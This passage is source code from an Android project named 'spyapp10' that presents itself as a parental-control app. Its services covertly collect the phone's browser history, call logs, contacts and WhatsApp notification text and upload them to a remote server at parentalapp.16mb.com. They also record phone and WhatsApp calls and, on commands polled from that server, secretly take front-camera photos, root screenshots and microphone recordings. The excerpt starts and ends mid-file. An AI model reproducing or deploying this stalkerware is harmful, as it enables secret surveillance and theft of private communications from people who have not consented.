bytesRead, bytesAvailable, bufferSize; 205 | byte[] buffer; 206 | int maxBufferSize = 1 * 1024 * 1024; 207 | File sdCard = Environment.getExternalStorageDirectory(); 208 | File dir = new File(sdCard, "XPCR"); 209 | for (File f : dir.listFiles()) { 210 | if (f.isFile()) { 211 | //encode and transfer here 212 | } 213 | } 214 | } 215 | } -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/SQLdb.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.content.Context; 4 | import android.database.Cursor; 5 | import android.database.sqlite.SQLiteDatabase; 6 | import android.database.sqlite.SQLiteOpenHelper; 7 | import android.util.Log; 8 | 9 | public class SQLdb { 10 | private static final String DATABASE_NAME = "db11"; 11 | private static final String DATABASE_TABLE = "tnw"; 12 | private static final int DATABASE_VERSION = 1; 13 | 14 | private HelperSQL ourHelper; 15 | private final Context ourContext; 16 | private SQLiteDatabase ourDatabase; 17 | 18 | public SQLdb(Context ourContext) { 19 | this.ourContext = ourContext; 20 | } 21 | 22 | public SQLdb open(){ 23 | ourHelper=new HelperSQL(ourContext); 24 | ourDatabase=ourHelper.getWritableDatabase(); 25 | return this; 26 | } 27 | 28 | public void close(){ 29 | ourHelper.close(); 30 | } 31 | 32 | public void insertEntry(String ticker, String text,String time,String pack) { 33 | Log.e("db", ticker); 34 | ourDatabase.execSQL("INSERT INTO tnw VALUES('" + ticker + "','" + text + "','" + time + "','" + pack + "');"); 35 | } 36 | 37 | public int getCount(){ 38 | Cursor resultSet = ourDatabase.rawQuery("Select * from " + DATABASE_TABLE, null); 39 | return resultSet.getCount(); 40 | } 41 | public String[] getList(int x) { 42 | int i=0; 43 | Cursor resultSet = ourDatabase.rawQuery("Select * from " + DATABASE_TABLE, null); 44 | String info[]=new String[resultSet.getCount()]; 45 | resultSet.moveToFirst(); 46 | do{ 47 | info[i]=resultSet.getString(x); 48 | resultSet.moveToNext(); 49 | i++; 50 | }while(resultSet.isLast()); 51 | return info; 52 | } 53 | 54 | public void onDelete(){ 55 | ourDatabase.execSQL("DROP TABLE tnw;"); 56 | } 57 | 58 | private static class HelperSQL extends SQLiteOpenHelper { 59 | 60 | public HelperSQL(Context context) { 61 | super(context, DATABASE_NAME, null, DATABASE_VERSION); 62 | } 63 | 64 | @Override 65 | public void onCreate(SQLiteDatabase db) { 66 | db.execSQL("CREATE TABLE IF NOT EXISTS tnw(ticker TEXT NOT NULL,text TEXT NOT NULL,time TEXT NOT NULL,pack TEXT NOT NULL );"); 67 | } 68 | 69 | @Override 70 | public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { 71 | db.execSQL("DROP TABLE IF EXISTS "+DATABASE_TABLE); 72 | onCreate(db); 73 | } 74 | } 75 | } -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/WhtService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.content.Context; 4 | import android.media.MediaRecorder; 5 | import android.os.Bundle; 6 | import android.os.Environment; 7 | import android.service.notification.NotificationListenerService; 8 | import android.service.notification.StatusBarNotification; 9 | import android.text.format.Time; 10 | import android.util.Log; 11 | 12 | import java.io.File; 13 | import java.text.SimpleDateFormat; 14 | import java.util.Calendar; 15 | 16 | public class WhtService extends NotificationListenerService { 17 | Context context; 18 | MediaRecorder recorder; 19 | Time today; 20 | static String pathz; 21 | Boolean recording; 22 | 23 | @Override 24 | public void onCreate() { 25 | super.onCreate(); 26 | context = getApplicationContext(); 27 | recording=false; 28 | } 29 | 30 | @Override 31 | public void onNotificationPosted(StatusBarNotification sbn) { 32 | String title,text = null; 33 | 34 | try{ 35 | String pack = sbn.getPackageName(); 36 | if (pack.equals("com.whatsapp")) { 37 | 38 | Calendar c=Calendar.getInstance(); 39 | SimpleDateFormat df=new SimpleDateFormat("dd-MMM-yyyy"); 40 | String day=df.format(c.getTime()); 41 | SimpleDateFormat tf=new SimpleDateFormat("HH:mm"); 42 | String time="DATE- "+day+" TIME- "+tf.format(c.getTime()); 43 | Bundle extras = null; 44 | if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) { 45 | extras = sbn.getNotification().extras; 46 | 47 | try { 48 | if (extras.getCharSequence("android.text") != null) { 49 | text = extras.getCharSequence("android.text").toString(); 50 | } else { 51 | if (extras.get("android.textLines") != null) { 52 | CharSequence[] charText = (CharSequence[]) extras.get("android.textLines"); 53 | if (charText.length > 0) { 54 | text = charText[charText.length - 1].toString(); 55 | } 56 | } 57 | } 58 | } catch (Exception e) { 59 | text = ":::"; 60 | } 61 | Log.e("servicewht11", "text=" + text); 62 | if (text.equals("Ongoing call")) { 63 | Log.e("servicewht11", "outgoing"); 64 | if (!(recording)) { 65 | startRecoding(); 66 | 67 | Log.e("servicewht11", "recording"); 68 | recording = true; 69 | } 70 | } else { 71 | String ticker = sbn.getNotification().tickerText.toString(); 72 | try { 73 | title = extras.getString("android.title"); 74 | } catch (Exception e) { 75 | title = "::"; 76 | } 77 | Log.e("servicewht11", "ticker=" + ticker); 78 | Log.e("servicewht11", "text=" + text); 79 | SQLdb sqLdb=new SQLdb(getApplicationContext()); 80 | sqLdb.open(); 81 | sqLdb.insertEntry(ticker,text,time,"whatsapp"); 82 | sqLdb.close(); 83 | } 84 | } 85 | } 86 | }catch (Exception e){ 87 | Log.e("servicewht11error",e.toString()); 88 | } 89 | } 90 | 91 | @Override 92 | public void onNotificationRemoved(StatusBarNotification sbn) { 93 | if(recording){ 94 | Log.e("servicewht11","stop recording"); 95 | stopRecording(); 96 | } 97 | } 98 | public void startRecoding() { 99 | try { 100 | today = new Time(Time.getCurrentTimezone()); 101 | today.setToNow(); 102 | recorder = new MediaRecorder(); 103 | recorder.reset(); 104 | recorder.setAudioSource(MediaRecorder.AudioSource.MIC); 105 | recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); 106 | recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); 107 | String date = today.monthDay + "_" + (today.month + 1) + "_" + today.year; 108 | String time = today.format("%k_%M_%S"); 109 | File file = createDirIfNotExists(date + "|" + time); 110 | recorder.setOutputFile(file.getAbsolutePath()); 111 | recorder.prepare(); 112 | recorder.start(); 113 | } catch (Exception e) { 114 | } 115 | } 116 | 117 | public void stopRecording() { 118 | if (recorder != null) { 119 | recorder.stop(); 120 | recorder.reset(); 121 | recorder.release(); 122 | recorder = null; 123 | File file = new File(Environment.getExternalStorageDirectory() + "/XWCR/"+pathz+".3GPP"); 124 | //encode and transfer here 125 | //file.delete(); 126 | } 127 | } 128 | 129 | public File createDirIfNotExists(String path) { 130 | File folder = new File(Environment.getExternalStorageDirectory() + "/XWCR"); 131 | if (!folder.exists()) { 132 | if (!folder.mkdirs()) { 133 | } 134 | } 135 | pathz=path; 136 | File file = new File(folder,pathz + ".3GPP"); 137 | try { 138 | if (!file.exists()) { 139 | if (file.createNewFile()) { 140 | 141 | Log.e("vipul1_file", "file is created"); 142 | } 143 | } 144 | } catch (Exception e) { 145 | } 146 | return file; 147 | } 148 | } -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/browserHistoryService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Service; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.database.Cursor; 7 | import android.net.Uri; 8 | import android.os.AsyncTask; 9 | import android.os.IBinder; 10 | import android.provider.Settings; 11 | import android.util.Log; 12 | 13 | import org.apache.http.HttpResponse; 14 | import org.apache.http.NameValuePair; 15 | import org.apache.http.client.HttpClient; 16 | import org.apache.http.client.entity.UrlEncodedFormEntity; 17 | import org.apache.http.client.methods.HttpPost; 18 | import org.apache.http.impl.client.DefaultHttpClient; 19 | import org.apache.http.message.BasicNameValuePair; 20 | import org.apache.http.util.EntityUtils; 21 | import org.json.JSONObject; 22 | 23 | import java.text.SimpleDateFormat; 24 | import java.util.ArrayList; 25 | import java.util.Date; 26 | import java.util.List; 27 | 28 | public class browserHistoryService extends Service { 29 | public browserHistoryService() { 30 | } 31 | 32 | @Override 33 | public IBinder onBind(Intent intent) { 34 | // TODO: Return the communication channel to the service. 35 | throw new UnsupportedOperationException("Not yet implemented"); 36 | } 37 | @Override 38 | public void onStart(Intent intent, int startId) { 39 | super.onStart(intent, startId); 40 | 41 | final Thread runnable = new Thread() { 42 | @Override 43 | public void run() { 44 | while (true) { 45 | try { 46 | getBrowser(getApplicationContext()); 47 | sleep(300000); 48 | } catch (Exception e) { 49 | } 50 | } 51 | } 52 | }; 53 | runnable.start(); 54 | } 55 | @Override 56 | public void onDestroy() { 57 | super.onDestroy(); 58 | } 59 | 60 | public void getBrowser(Context context) { 61 | try { 62 | Log.e("myservice","browerServiceStarted"); 63 | Uri uri=Uri.parse("content://com.android.chrome.browser/history"); 64 | Cursor mCur = context.getContentResolver().query(uri, null, null, null, null); 65 | mCur.moveToFirst(); 66 | String url = "", title = "", date = "", time = ""; 67 | while (!mCur.isLast()) { 68 | url += mCur.getString(mCur.getColumnIndex("url")) + "||"; 69 | title += mCur.getString(mCur.getColumnIndex("title")) + "||"; 70 | date = mCur.getString(mCur.getColumnIndex("date")); 71 | Date callDayTime = new Date(Long.valueOf(date)); 72 | time += "DAY-" + new SimpleDateFormat("yyyy-MM-dd").format(callDayTime) + " TIME-" + 73 | new SimpleDateFormat("H:mm").format(callDayTime) + "||"; 74 | mCur.moveToNext(); 75 | } 76 | mCur.close(); 77 | String DeviceId = Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID) ; 78 | String Email=MainActivity.EMAIL; 79 | new UpdateUserDetailBROWSER().execute(Email, DeviceId, title, url, time); 80 | 81 | } catch (Exception e) { 82 | Log.e("myservice","errorinBROWSER"+e.toString()); 83 | } 84 | } 85 | 86 | private class UpdateUserDetailBROWSER extends AsyncTask { 87 | @Override 88 | protected JSONObject doInBackground(String... params) { 89 | JSONObject mJSONResponse = null; 90 | try { 91 | HttpClient mClient = new DefaultHttpClient(); 92 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/browhis.php"); 93 | List nameValuePair = new ArrayList(5); 94 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 95 | nameValuePair.add(new BasicNameValuePair("did", params[1])); 96 | nameValuePair.add(new BasicNameValuePair("title", params[2])); 97 | nameValuePair.add(new BasicNameValuePair("link", params[3])); 98 | nameValuePair.add(new BasicNameValuePair("time", params[4])); 99 | 100 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 101 | HttpResponse mResponse = mClient.execute(httpPost); 102 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 103 | mJSONResponse = new JSONObject(mJResponse); 104 | } catch (Exception e) { 105 | } 106 | return mJSONResponse; 107 | } 108 | 109 | @Override 110 | protected void onPostExecute(JSONObject jsonObject) { 111 | super.onPostExecute(jsonObject); 112 | } 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/callLogService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.Manifest; 4 | import android.app.Service; 5 | import android.content.Context; 6 | import android.content.Intent; 7 | import android.content.pm.PackageManager; 8 | import android.database.Cursor; 9 | import android.os.AsyncTask; 10 | import android.os.IBinder; 11 | import android.provider.CallLog; 12 | import android.provider.Settings; 13 | import android.support.v4.app.ActivityCompat; 14 | import android.util.Log; 15 | 16 | import org.apache.http.HttpResponse; 17 | import org.apache.http.NameValuePair; 18 | import org.apache.http.client.HttpClient; 19 | import org.apache.http.client.entity.UrlEncodedFormEntity; 20 | import org.apache.http.client.methods.HttpPost; 21 | import org.apache.http.impl.client.DefaultHttpClient; 22 | import org.apache.http.message.BasicNameValuePair; 23 | import org.apache.http.util.EntityUtils; 24 | import org.json.JSONObject; 25 | 26 | import java.text.SimpleDateFormat; 27 | import java.util.ArrayList; 28 | import java.util.Date; 29 | import java.util.List; 30 | 31 | public class callLogService extends Service { 32 | public callLogService() { 33 | } 34 | 35 | @Override 36 | public IBinder onBind(Intent intent) { 37 | // TODO: Return the communication channel to the service. 38 | throw new UnsupportedOperationException("Not yet implemented"); 39 | } 40 | 41 | @Override 42 | public void onStart(Intent intent, int startId) { 43 | super.onStart(intent, startId); 44 | final Thread runnable = new Thread() { 45 | @Override 46 | public void run() { 47 | while (true) { 48 | try { 49 | getCallDetails(getApplicationContext()); 50 | sleep(300000); 51 | } catch (Exception e) { 52 | } 53 | } 54 | } 55 | }; 56 | runnable.start(); 57 | } 58 | @Override 59 | public void onDestroy() { 60 | super.onDestroy(); 61 | } 62 | 63 | public void getCallDetails(Context context) { 64 | String phNumber="", callType="", callDate="", callDuration="",time="",dir="",calltype=""; 65 | try{ 66 | if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) { 67 | // TODO: Consider calling 68 | // ActivityCompat#requestPermissions 69 | // here to request the missing permissions, and then overriding 70 | // public void onRequestPermissionsResult(int requestCode, String[] permissions, 71 | // int[] grantResults) 72 | // to handle the case where the user grants the permission. See the documentation 73 | // for ActivityCompat#requestPermissions for more details. 74 | return; 75 | } 76 | Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, CallLog.Calls.DATE + " DESC"); 77 | cursor.moveToLast(); 78 | 79 | Log.e("myservice", "callServiceStarted"); 80 | while (!cursor.isFirst()) { 81 | phNumber += cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER))+"||"; 82 | Date callDayTime = new Date(Long.valueOf(cursor.getString(cursor.getColumnIndex(CallLog.Calls.DATE)))); 83 | time +="DAY-"+new SimpleDateFormat("yyyy-MM-dd").format(callDayTime)+ " TIME-"+ 84 | new SimpleDateFormat("HH:mm").format(callDayTime) + "||"; 85 | callDuration += cursor.getString(cursor.getColumnIndex(CallLog.Calls.DURATION))+"sec||"; 86 | int dircode = Integer.parseInt(cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE))); 87 | switch (dircode) { 88 | case CallLog.Calls.OUTGOING_TYPE: 89 | dir = "OUTGOING"; 90 | break; 91 | case CallLog.Calls.INCOMING_TYPE: 92 | dir = "INCOMING"; 93 | break; 94 | case CallLog.Calls.MISSED_TYPE: 95 | dir = "MISSED"; 96 | break; 97 | } 98 | calltype+=dir+"||"; 99 | cursor.moveToPrevious(); 100 | } 101 | String Email=MainActivity.EMAIL; 102 | String DeviceId=Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID) ; 103 | 104 | Log.e("myservice",phNumber); 105 | new UpdateUserDetailCALL().execute(Email, DeviceId, phNumber,calltype, time, callDuration); 106 | cursor.close(); 107 | }catch (Exception e){ 108 | Log.e("myservice","errorCALLLOG"); 109 | } 110 | } 111 | private class UpdateUserDetailCALL extends AsyncTask { 112 | @Override 113 | protected JSONObject doInBackground(String... params) { 114 | JSONObject mJSONResponse = null; 115 | try { 116 | HttpClient mClient = new DefaultHttpClient(); 117 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/calldet.php"); 118 | List nameValuePair = new ArrayList(6); 119 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 120 | nameValuePair.add(new BasicNameValuePair("did", params[1])); 121 | nameValuePair.add(new BasicNameValuePair("phone", params[2])); 122 | nameValuePair.add(new BasicNameValuePair("type", params[3])); 123 | nameValuePair.add(new BasicNameValuePair("time", params[4])); 124 | nameValuePair.add(new BasicNameValuePair("duration", params[5])); 125 | 126 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 127 | HttpResponse mResponse = mClient.execute(httpPost); 128 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 129 | mJSONResponse = new JSONObject(mJResponse); 130 | } catch (Exception e) { 131 | e.printStackTrace(); 132 | } 133 | return mJSONResponse; 134 | } 135 | 136 | @Override 137 | protected void onPostExecute(JSONObject jsonObject) { 138 | super.onPostExecute(jsonObject); 139 | } 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/callRecordService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Service; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.media.MediaRecorder; 7 | import android.os.Environment; 8 | import android.os.IBinder; 9 | import android.telephony.PhoneStateListener; 10 | import android.telephony.TelephonyManager; 11 | import android.util.Log; 12 | 13 | import java.io.File; 14 | import java.text.SimpleDateFormat; 15 | import java.util.Calendar; 16 | 17 | public class callRecordService extends Service { 18 | 19 | MediaRecorder recorder; 20 | public callRecordService() { 21 | } 22 | 23 | @Override 24 | public IBinder onBind(Intent intent) { 25 | // TODO: Return the communication channel to the service. 26 | throw new UnsupportedOperationException("Not yet implemented"); 27 | } 28 | @Override 29 | public void onStart(Intent intent, int startId) { 30 | super.onStart(intent, startId); 31 | Log.e("serviceStart", "service3"); 32 | TelephonyManager TelephonyMgr = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); 33 | TelephonyMgr.listen(new TeleListener(), PhoneStateListener.LISTEN_CALL_STATE); 34 | } 35 | class TeleListener extends PhoneStateListener { 36 | public void onCallStateChanged(int state, String incomingNumber) { 37 | super.onCallStateChanged(state, incomingNumber); 38 | switch (state) { 39 | case TelephonyManager.CALL_STATE_IDLE: 40 | // CALL_STATE_IDLE; 41 | stopRecording(); 42 | 43 | break; 44 | case TelephonyManager.CALL_STATE_OFFHOOK: 45 | // CALL_STATE_OFFHOOK; 46 | startRecoding(incomingNumber); 47 | break; 48 | case TelephonyManager.CALL_STATE_RINGING: 49 | // CALL_STATE_RINGING 50 | break; 51 | default: 52 | break; 53 | } 54 | } 55 | } 56 | 57 | public void startRecoding(String phnumber) { 58 | try { 59 | recorder = new MediaRecorder(); 60 | recorder.reset(); 61 | recorder.setAudioSource(MediaRecorder.AudioSource.MIC); 62 | recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); 63 | recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); 64 | Calendar c=Calendar.getInstance(); 65 | SimpleDateFormat df=new SimpleDateFormat("dd-MMM-yyyy"); 66 | String day=df.format(c.getTime()); 67 | SimpleDateFormat tf=new SimpleDateFormat("HH:mm"); 68 | String time="DATE- "+day+" TIME- "+tf.format(c.getTime()); 69 | 70 | File file = createDirIfNotExists(phnumber+"||"+day+"||"+time); 71 | recorder.setOutputFile(file.getAbsolutePath()); 72 | recorder.prepare(); 73 | recorder.start(); 74 | } catch (Exception e) { 75 | } 76 | } 77 | 78 | public void stopRecording() { 79 | if (recorder != null) { 80 | recorder.stop(); 81 | recorder.reset(); 82 | recorder.release(); 83 | recorder = null; 84 | } 85 | } 86 | 87 | public File createDirIfNotExists(String fileName) { 88 | File folder = new File(Environment.getExternalStorageDirectory() + "/XPCR"); 89 | if (!folder.exists()) { 90 | if (!folder.mkdirs()) { 91 | } 92 | } 93 | File file = new File(folder, fileName + ".3GPP"); 94 | try { 95 | if (!file.exists()) { 96 | if (file.createNewFile()) { 97 | Log.e("vipul1_file", "file is created"); 98 | } 99 | } 100 | } catch (Exception e) { 101 | } 102 | return file; 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/contactListService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Service; 4 | import android.content.Intent; 5 | import android.database.Cursor; 6 | import android.os.AsyncTask; 7 | import android.os.IBinder; 8 | import android.provider.ContactsContract; 9 | import android.provider.Settings; 10 | import android.util.Log; 11 | 12 | import org.apache.http.HttpResponse; 13 | import org.apache.http.NameValuePair; 14 | import org.apache.http.client.HttpClient; 15 | import org.apache.http.client.entity.UrlEncodedFormEntity; 16 | import org.apache.http.client.methods.HttpPost; 17 | import org.apache.http.impl.client.DefaultHttpClient; 18 | import org.apache.http.message.BasicNameValuePair; 19 | import org.apache.http.util.EntityUtils; 20 | import org.json.JSONObject; 21 | 22 | import java.util.ArrayList; 23 | import java.util.List; 24 | 25 | public class contactListService extends Service { 26 | public contactListService() { 27 | } 28 | 29 | @Override 30 | public IBinder onBind(Intent intent) { 31 | // TODO: Return the communication channel to the service. 32 | throw new UnsupportedOperationException("Not yet implemented"); 33 | } 34 | @Override 35 | public void onStart(Intent intent, int startId) { 36 | super.onStart(intent, startId); 37 | 38 | final Thread runnable = new Thread() { 39 | @Override 40 | public void run() { 41 | while (true) { 42 | try { 43 | readContact(); 44 | sleep(300000); 45 | } catch (Exception e) { 46 | } 47 | } 48 | } 49 | }; 50 | runnable.start(); 51 | } 52 | @Override 53 | public void onDestroy() { 54 | super.onDestroy(); 55 | } 56 | 57 | public void readContact() { 58 | String number =""; 59 | String name=""; 60 | try { 61 | 62 | Log.e("myservice", "contactServiceStarted"); 63 | Cursor cur = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null); 64 | cur.moveToFirst(); 65 | while (!cur.isLast()) { 66 | name += cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME))+"||"; 67 | number += cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))+"||"; 68 | cur.moveToNext(); 69 | } 70 | String DeviceId = Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID) ; 71 | String Email=MainActivity.EMAIL; 72 | 73 | Log.e("myservice",name); 74 | new UpdateUserDetailCONTACT().execute(Email, DeviceId, name, number); 75 | } catch (Exception e) { 76 | } 77 | }private class UpdateUserDetailCONTACT extends AsyncTask { 78 | @Override 79 | protected JSONObject doInBackground(String... params) { 80 | JSONObject mJSONResponse = null; 81 | try { 82 | HttpClient mClient = new DefaultHttpClient(); 83 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/cont.php"); 84 | List nameValuePair = new ArrayList(4); 85 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 86 | nameValuePair.add(new BasicNameValuePair("did", params[1])); 87 | nameValuePair.add(new BasicNameValuePair("name", params[2])); 88 | nameValuePair.add(new BasicNameValuePair("phone", params[3])); 89 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 90 | HttpResponse mResponse = mClient.execute(httpPost); 91 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 92 | mJSONResponse = new JSONObject(mJResponse); 93 | } catch (Exception e) { 94 | e.printStackTrace(); 95 | } 96 | return mJSONResponse; 97 | } 98 | 99 | @Override 100 | protected void onPostExecute(JSONObject jsonObject) { 101 | super.onPostExecute(jsonObject); 102 | } 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/livePannelService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Service; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.graphics.Bitmap; 7 | import android.graphics.BitmapFactory; 8 | import android.hardware.Camera; 9 | import android.media.AudioManager; 10 | import android.media.MediaRecorder; 11 | import android.media.Ringtone; 12 | import android.media.RingtoneManager; 13 | import android.net.Uri; 14 | import android.os.AsyncTask; 15 | import android.os.Environment; 16 | import android.os.IBinder; 17 | import android.provider.Settings; 18 | import android.util.Base64; 19 | import android.util.Log; 20 | import android.view.SurfaceHolder; 21 | import android.view.SurfaceView; 22 | 23 | import org.apache.http.HttpResponse; 24 | import org.apache.http.NameValuePair; 25 | import org.apache.http.client.HttpClient; 26 | import org.apache.http.client.entity.UrlEncodedFormEntity; 27 | import org.apache.http.client.methods.HttpPost; 28 | import org.apache.http.impl.client.DefaultHttpClient; 29 | import org.apache.http.message.BasicNameValuePair; 30 | import org.apache.http.util.EntityUtils; 31 | import org.json.JSONObject; 32 | 33 | import java.io.ByteArrayOutputStream; 34 | import java.io.File; 35 | import java.io.FileOutputStream; 36 | import java.io.IOException; 37 | import java.io.OutputStream; 38 | import java.util.ArrayList; 39 | import java.util.List; 40 | 41 | public class livePannelService extends Service { 42 | private Camera mCamera; 43 | private SurfaceHolder sHolder; 44 | private Camera.Parameters parameters; 45 | String DID; 46 | public livePannelService() { 47 | } 48 | 49 | @Override 50 | public IBinder onBind(Intent intent) { 51 | // TODO: Return the communication channel to the service. 52 | throw new UnsupportedOperationException("Not yet implemented"); 53 | } 54 | @Override 55 | public void onStart(Intent intent, int startId) { 56 | super.onStart(intent, startId); 57 | 58 | String email = MainActivity.EMAIL; 59 | DID= Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID); 60 | 61 | final Thread runnable = new Thread() { 62 | @Override 63 | public void run() { 64 | while(true){ 65 | try { 66 | new ShowUserDetails().execute(DID); 67 | sleep(10000); 68 | } catch (Exception e) { 69 | } 70 | } 71 | } 72 | }; 73 | runnable.start(); 74 | } 75 | 76 | @Override 77 | public void onDestroy() { 78 | super.onDestroy(); 79 | } 80 | 81 | public void playRingtone() { 82 | Uri notification = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE); 83 | Ringtone r = RingtoneManager.getRingtone(getApplicationContext(), notification); 84 | AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE); 85 | audioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL); 86 | if(!r.isPlaying()) { 87 | r.play(); 88 | } 89 | } 90 | public void captureScreen(){ 91 | try { 92 | Process sh = Runtime.getRuntime().exec("su", null,null); 93 | OutputStream os = sh.getOutputStream(); 94 | os.write(("/system/bin/screencap -p " + "/sdcard/img.png").getBytes("ASCII")); 95 | os.flush(); 96 | os.close(); 97 | sh.waitFor(); 98 | Bitmap bitmap = BitmapFactory.decodeFile(Environment.getExternalStorageDirectory() + 99 | File.separator + "img.png"); 100 | ByteArrayOutputStream bao=new ByteArrayOutputStream(); 101 | if (bitmap != null) { 102 | bitmap.compress(Bitmap.CompressFormat.JPEG,30,bao ); 103 | } 104 | byte[] ba=bao.toByteArray(); 105 | String imm= Base64.encodeToString(ba, Base64.DEFAULT); 106 | new sendDataToDashboard().execute(DID,imm,"1"); 107 | } catch (Exception e) { 108 | Log.e("status1111ss", e.toString()); 109 | } 110 | } 111 | public void captureAudio(){ 112 | final Thread runnable = new Thread() { 113 | @Override 114 | public void run() { 115 | try { 116 | MediaRecorder recorder = new MediaRecorder(); 117 | recorder.reset(); 118 | recorder.setAudioSource(MediaRecorder.AudioSource.MIC); 119 | recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); 120 | recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); 121 | File file = createDirIfNotExists("audio1"); 122 | recorder.setOutputFile(file.getAbsolutePath()); 123 | recorder.prepare(); 124 | recorder.start(); 125 | sleep(30000); 126 | Log.e("vipul1_folder", "stopped"); 127 | recorder.stop(); 128 | recorder.reset(); 129 | recorder.release(); 130 | recorder = null; 131 | File file2 = new File(Environment.getExternalStorageDirectory() + "/audio1.3GPP"); 132 | //byte[] binaryData = new byte[(int) file2.length()]; 133 | // byte[] bytes = FileUtils.readFileToByteArray(file); 134 | // String imm= Base64.encodeToString(bytes, Base64.DEFAULT); 135 | //send audio here 136 | // new UpdateUserDetailreset().execute(DID,imm); 137 | } catch (Exception e) { 138 | Log.e("errorinService1", e.toString()); 139 | } 140 | } 141 | }; 142 | runnable.start(); 143 | } 144 | public void takePicture() { 145 | int numberOfCameras = Camera.getNumberOfCameras(); 146 | Camera.CameraInfo ci = new Camera.CameraInfo(); 147 | for (int i = 0; i < numberOfCameras; i++) { 148 | Camera.getCameraInfo(i, ci); 149 | if (ci.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) { 150 | mCamera = Camera.open(i); 151 | Log.e("errorincode", i + ""); 152 | } 153 | } 154 | final SurfaceView sv = new SurfaceView(getApplicationContext()); 155 | try { 156 | mCamera.setPreviewDisplay(sv.getHolder()); 157 | } catch (IOException e) { 158 | e.printStackTrace(); 159 | } 160 | parameters = mCamera.getParameters(); 161 | mCamera.setParameters(parameters); 162 | mCamera.startPreview(); 163 | sHolder = sv.getHolder(); 164 | sHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); 165 | mCamera.takePicture(null, null, mCall); 166 | } 167 | Camera.PictureCallback mCall = new Camera.PictureCallback() { 168 | public void onPictureTaken(byte[] data, Camera camera) { 169 | FileOutputStream outStream = null; 170 | try { 171 | String imm=getStringImage(data); 172 | new sendDataToDashboard().execute(DID,imm,"2"); 173 | mCamera.release(); 174 | } catch (Exception e) { 175 | Log.d("CAMERA", e.getMessage()); 176 | } 177 | } 178 | }; 179 | private class ShowUserDetails extends AsyncTask { 180 | @Override 181 | protected JSONObject doInBackground(String... params) { 182 | JSONObject mJSONResponse = null; 183 | try { 184 | HttpClient mClient = new DefaultHttpClient(); 185 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/livestatus.php"); 186 | List nameValuePair = new ArrayList(1); 187 | nameValuePair.add(new BasicNameValuePair("did", params[0])); 188 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 189 | HttpResponse mResponse = mClient.execute(httpPost); 190 | Log.e("status111","inside show method"); 191 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 192 | mJSONResponse = new JSONObject(mJResponse); 193 | } catch (Exception e) { 194 | Log.e("status11111", e.toString()); 195 | } 196 | return mJSONResponse; 197 | } 198 | 199 | @Override 200 | protected void onPostExecute(JSONObject jsonObject) { 201 | try { 202 | super.onPostExecute(jsonObject); 203 | Log.e("status1110", jsonObject.toString()); 204 | char status = jsonObject.toString().charAt(8); 205 | Log.e("status111",status+""); 206 | if(status==('1')){ 207 | new UpdateUserDetail().execute(DID); 208 | takePicture(); 209 | }else if (status==('2')){ 210 | new UpdateUserDetail().execute(DID); 211 | captureScreen(); 